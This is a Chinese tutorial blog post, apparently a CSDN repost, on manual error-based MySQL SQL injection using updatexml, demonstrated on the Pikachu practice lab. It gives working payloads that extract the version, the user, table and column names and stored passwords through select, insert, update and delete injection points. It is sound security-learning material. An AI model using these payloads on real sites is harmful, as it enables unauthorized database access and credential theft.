SQL注入之基于函数报错手工注入(insert update delete)

基于函数报错手工注入(insert update delete)

基于函数报错注入

常见攻击方法

		updataxml注入
			载荷注入
			insert注入
			updata注入
			delet注入
		extractvalue()注入

技巧思路

		在 MYSQL 中使用一些指定的凼数来制造报错,从而从报错信息中获取设定的信息,
		常见的select/insert/update/delete 注入都可以使用报错方式来获取信息.

背景条件

		后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端
			运维人员设置中间件的时候,把错误输出没有屏蔽
			程序员写网站代码的时候,没有屏蔽错误信息输出

基于报错的信息获取(三个常用的用来报错的函数)

		updatexml():函数是 MYSQL 对 XML 文档数据进行查询和修改的 XPATH 函数
			使用频率最高
				函数使用UPDATEXML (XML_document, XPath_string, new_value);
					
					三个参数
						XML_document
							XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc
						XPath_string
							XPath_string (Xpath 格式的字符串) ,如果丌了解 Xpath 语法,可以在网
							上查找教程。
						new_value
							第三个参数:new_value,String 格式,替换查找到的符合条件的数据
		 
extractvalue() :函数也是 MYSQL 对 XML 文档数据进行查询的 XPATH 函数
		 floor():MYSQL 中用来取整的函数

实战测试

		1、爆数据库版本信息
			k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
				前后的1 ,代表替换到查找到的一个数据
				concat拼接函数
				0x7e
					~   十六进制
				(SELECT @@version)
					查询语句
		2、爆数据库当前用户
			k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#
		3、爆数据库
			k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
		4、爆表
			获取数据库 表名
				k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#
					但是反馈回的错误表示只能显示一行,所以采用 limit 来一行一行显示
				k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#
					更改 limit 后面的数字 limit 0 完成表名遍历
		5、爆字段
			k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#
		6、爆字段内容
			k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#
		结果说明
			返回结果为连接参数产生的字符串。如有任何一个参数为 NULL ,则返回值为 NULL。
			通过查询@@version,返回版本。然后 CONCAT 将其字符串化。因为 UPDATEXML 第二个参数需要 Xpath 格式的字符串,所以不符合要求,然后报错。

insert注入(注册信息使用函数)

	insert 注入,就是前端注册的信息最终会被后台通过 insert 这个操作插入数据库,后台在接受前端的注册数据时没有做防 SQL 注入的处理,导致前端的输入可以直接拼接 SQL到后端的 insert 相关内容中,导致了 insert 注入。
	在注册页面填写注册信息的时候抓包并寻找注入点输入payload例如用户名等
		基本格式
			oldboy'or updatexml(1,concat(0x7e,(命令)),0) or'
				or的作用是将后文变成一条语句
	实战
		1. 爆表名
			oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
		2. 爆列名
			' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where
			table_name='users'limit 2,1)),0) or'
		3. 爆内容
			' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同
				' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''

update注入(用于用户登陆端修改用户信息)

	一般登录网站前台或后台更新用户信息的地方,填写用户需要修改相关信息,通过 Burp 抓包在用户名输入相关 payload
		' or updatexml(0,concat(0x7e,(database())),0) or'

delet注入(删除相关)

	一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过 Brup Suite 抓包,对数据包相关 delete 参数进行注入,注入方法如下:
		delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0)

遇到的问题

	burp数据包提交报错
		选定之后,对其进行url编码
发布了63 篇原创文章 · 获赞 8 · 访问量 2511

猜你喜欢

转载自blog.csdn.net/weixin_43079958/article/details/105273435